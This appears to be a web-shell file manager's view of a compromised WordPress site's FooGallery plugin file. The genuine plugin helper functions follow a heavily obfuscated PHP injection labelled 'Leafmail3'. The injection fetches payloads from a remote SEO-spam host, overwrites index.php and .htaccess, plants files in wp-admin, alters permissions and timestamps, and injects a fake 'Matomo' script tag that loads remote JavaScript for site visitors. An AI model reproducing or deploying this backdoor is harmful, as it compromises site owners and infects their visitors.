Server IP : 192.168.23.10 / Your IP : 3.14.131.115 Web Server : Apache System : Linux echo.premieradvertising.com 5.14.0-362.8.1.el9_3.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 7 14:54:22 EST 2023 x86_64 User : rrrallyteam ( 1049) PHP Version : 8.1.31 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF Directory (0555) : /home/rrrallyteam/public_html/wp-content/plugins/foogallery/includes/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?> <?php /** * FooGallery global functions * * @package FooGallery * @author Brad Vincent <brad@fooplugins.com> * @license GPL-2.0+ * @link https://github.com/fooplugins/foogallery * @copyright 2014 FooPlugins LLC */ /** * Returns the name of the plugin. (Allows the name to be overridden from extensions or functions.php) * @return string */ function foogallery_plugin_name() { return apply_filters( 'foogallery_plugin_name', 'FooGallery' ); } /** * Return all the gallery templates used within FooGallery * * @return array */ function foogallery_gallery_templates() { return apply_filters( 'foogallery_gallery_templates', array() ); } /** * Return a specific gallery template based on the slug * @param $slug * * @return bool|array */ function foogallery_get_gallery_template( $slug ) { foreach ( foogallery_gallery_templates() as $template ) { if ( $slug == $template['slug'] ) { return $template; } } return false; } /** * Return the FooGallery extension API class * * @return FooGallery_Extensions_API */ function foogallery_extensions_api() { return new FooGallery_Extensions_API(); } /** * Returns the default gallery template * * @return string */ function foogallery_default_gallery_template() { return foogallery_get_setting( 'gallery_template' ); } /** * Returns if gallery permalinks are enabled * * @return bool */ function foogallery_permalinks_enabled() { return foogallery_get_setting( 'gallery_permalinks_enabled' ); } /** * Returns the gallery permalink * * @return string */ function foogallery_permalink() { return foogallery_get_setting( 'gallery_permalink' ); } /** * Return the FooGallery saved setting, or a default value * * @param string $key The key for the setting * * @param bool $default The default if no value is saved or found * * @return mixed */ function foogallery_get_setting( $key, $default = false ) { $foogallery = FooGallery_Plugin::get_instance(); return $foogallery->options()->get( $key, foogallery_get_default( $key, $default ) ); } /** * Sets a specific option based on a key * * @param $key * @param $value * * @return mixed */ function foogallery_set_setting( $key, $value ) { $foogallery = FooGallery_Plugin::get_instance(); return $foogallery->options()->save( $key, $value ); } /** * Builds up a FooGallery gallery shortcode * * @param $gallery_id * * @return string */ function foogallery_build_gallery_shortcode( $gallery_id ) { return '[' . foogallery_gallery_shortcode_tag() . ' id="' . $gallery_id . '"]'; } /** * Returns the gallery shortcode tag * * @return string */ function foogallery_gallery_shortcode_tag() { return apply_filters( 'foogallery_gallery_shortcode_tag', FOOGALLERY_CPT_GALLERY ); } /** * Helper method for getting default settings * * @param string $key The default config key to retrieve. * * @param bool $default The default if no default is set or found * * @return string Key value on success, false on failure. */ function foogallery_get_default( $key, $default = false ) { $defaults = array( 'gallery_template' => 'default', 'gallery_permalinks_enabled' => false, 'gallery_permalink' => 'gallery', 'lightbox' => 'none', 'thumb_jpeg_quality' => '90', 'gallery_sorting' => '', 'datasource' => 'media_library', ); // A handy filter to override the defaults. $defaults = apply_filters( 'foogallery_defaults', $defaults ); // Return the key specified. return ( isset( $defaults[$key] ) ? $defaults[$key] : $default ); } /** * Returns the FooGallery Galleries Url within the admin * * @return string The Url to the FooGallery Gallery listing page in admin */ function foogallery_admin_gallery_listing_url() { return admin_url( 'edit.php?post_type=' . FOOGALLERY_CPT_GALLERY ); } /** * Returns the FooGallery Add Gallery Url within the admin * * @return string The Url to the FooGallery Add Gallery page in admin */ function foogallery_admin_add_gallery_url() { return admin_url( 'post-new.php?post_type=' . FOOGALLERY_CPT_GALLERY ); } /** * Returns the FooGallery help page Url within the admin * * @return string The Url to the FooGallery help page in admin */ function foogallery_admin_help_url() { return admin_url( add_query_arg( array( 'page' => FOOGALLERY_ADMIN_MENU_HELP_SLUG, ), foogallery_admin_menu_parent_slug() ) ); } /** * Returns the FooGallery settings page Url within the admin * * @return string The Url to the FooGallery settings page in admin */ function foogallery_admin_settings_url() { return admin_url( add_query_arg( array( 'page' => FOOGALLERY_ADMIN_MENU_SETTINGS_SLUG, ), foogallery_admin_menu_parent_slug() ) ); } /** * Returns the FooGallery extensions page Url within the admin * * @return string The Url to the FooGallery extensions page in admin */ function foogallery_admin_extensions_url() { return admin_url( add_query_arg( array( 'page' => FOOGALLERY_ADMIN_MENU_EXTENSIONS_SLUG, ), foogallery_admin_menu_parent_slug() ) ); } /** * Returns the FooGallery system info page Url within the admin * * @return string The Url to the FooGallery system info page in admin */ function foogallery_admin_systeminfo_url() { return admin_url( add_query_arg( array( 'page' => FOOGALLERY_ADMIN_MENU_SYSTEMINFO_SLUG, ), foogallery_admin_menu_parent_slug() ) ); } /** * Returns the FooGallery pricing page Url within the admin * * @return string The Url to the FooGallery pricing page in admin */ function foogallery_admin_pricing_url() { return admin_url( add_query_arg( array( 'page' => FOOGALLERY_ADMIN_MENU_PRICING_SLUG, ), foogallery_admin_menu_parent_slug() ) ); } /** * Returns the FooGallery free trial pricing page Url within the admin * * @return string The Url to the FooGallery free trial page in admin */ function foogallery_admin_freetrial_url() { return add_query_arg( 'trial', 'true', foogallery_admin_pricing_url() ); } /** * Get a foogallery template setting for the current foogallery that is being output to the frontend * @param string $key * @param string $default * * @return mixed */ function foogallery_gallery_template_setting( $key, $default = '' ) { global $current_foogallery ; global $current_foogallery_arguments ; global $current_foogallery_template ; $settings_key = "{$current_foogallery_template}_{$key}"; if ( $current_foogallery_arguments && array_key_exists( $key, $current_foogallery_arguments ) ) { //try to get the value from the arguments $value = $current_foogallery_arguments[$key]; } else { if ( !empty($current_foogallery) && $current_foogallery->settings && array_key_exists( $settings_key, $current_foogallery->settings ) ) { //then get the value out of the saved gallery settings $value = $current_foogallery->settings[$settings_key]; } else { //otherwise set it to the default $value = $default; } } $value = apply_filters( 'foogallery_gallery_template_setting-' . $key, $value ); return $value; } /** * Get the admin menu parent slug * @return string */ function foogallery_admin_menu_parent_slug() { return apply_filters( 'foogallery_admin_menu_parent_slug', FOOGALLERY_ADMIN_MENU_PARENT_SLUG ); } /** * Helper function to build up the admin menu Url * @param array $extra_args * * @return string|void */ function foogallery_build_admin_menu_url( $extra_args = array() ) { $url = admin_url( foogallery_admin_menu_parent_slug() ); if ( !empty($extra_args) ) { $url = add_query_arg( $extra_args, $url ); } return $url; } /** * Helper function for adding a foogallery sub menu * * @param $menu_title * @param string $capability * @param string $menu_slug 